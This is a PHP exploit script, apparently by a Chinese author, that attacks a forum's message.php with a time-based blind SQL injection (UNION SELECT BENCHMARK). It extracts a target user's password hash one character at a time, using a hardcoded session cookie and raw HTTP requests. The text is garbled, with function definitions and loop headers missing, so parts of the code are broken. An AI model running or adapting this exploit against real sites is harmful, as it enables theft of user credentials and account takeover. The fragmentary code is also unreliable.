By loveshell[at]0×27.com
事先请修改下面的$cookie和$useragent项
+——————————————————————+
error_reporting(7);
$server=”$argv[1]”;
$cookie=’aa102_c_stamp=1173176226; aa102_lastfid=0; aa102_ol_offset=47369; aa102_ipstate=1173162314; aa102_sid=f902d0ad; aa102_online1=yes; aa102_ck_info=%2F%09; aa102_winduser=AgYAOVRWCQNTC1QAAw4AWlAABFFSUVYMVVVbAFQGVFIGVlAH; aa102_lastvisit=0%091173176226%09%2Findex.php%3F’;
$useragent=”Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)”;
if(islogin()) echo “Login Ok!\r\n”;
else die(”Not Login!\tCheck Your Cookie and Useragent!\r\n”);
if(test()) echo “Vul!\r\n”;
else die(”Not Vul”);
$count=0;
echo “第\t$i\t位:”;
$subpass=crack($i+8);
$password=$password.$subpass;
echo “$subpass\r\n”;
}
{
global $bbspath,$server,$cookie,$count,$useragent,$debug,$evilip;
$message = “POST “.$path.” HTTP/1.1\r\n”;
$message .= “Accept: */*\r\n”;
$message .= “Accept-Language: zh-cn\r\n”;
$message .= “Referer: http://”.$server.$path.”\r\n”;
$message .= “Content-Type: application/x-www-form-urlencoded\r\n”;
$message .= “User-Agent: “.$useragent.”\r\n”;
$message .= “Host: “.$server.”\r\n”;
$message .= “Content-length: “.strlen($cmd).”\r\n”;
$message .= “Connection: Keep-Alive\r\n”;
$message .= “Cookie: “.$cookie.”\r\n”;
$message .= “\r\n”;
$message .= $cmd.”\r\n”;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = ”
"; while($fd&&!feof($fd)) { $resp .= fread($fd,1024); } fclose($fd); $resp .="
if($debug) {echo $cmd;echo $resp;}
// echo $resp;
return $resp;
}
global $uid;
$data=’action=pubmsg&readmsg=0)’;
$data=$data.” union select BENCHMARK(1000000,md5(12345)) from pw_members where uid=$uid and $sql”.’/*’;
$echo=send($data,’message.php’);
preg_match(”/Total (.*)\(/i”,$echo,$matches);
if($matches[1]>2) return 1;
else return 0;
}
global $uid;
$data=’action=pubmsg&readmsg=0)’;
$echo=send($data,’message.php’);
if(strpos($echo,’MySQL Server Error’)) return 1;
else return 0;
}
global $uid;
$data=’action=pubmsg&readmsg=0)’;
$echo=send($data,’message.php’);
if(strpos($echo,’login.php”‘)) return 0;
else return 1;
}
global $hashtable;
if(sqlject($sql)){
$a=8;
$b=15;}
else {
$a=0;
$b=8;
}
$sql=”mid(password,$i,1)=0x”.bin2hex($hashtable[$tmp]);
if(sqlject($sql)) return $hashtable[$tmp];
}
crack($i);
}
?>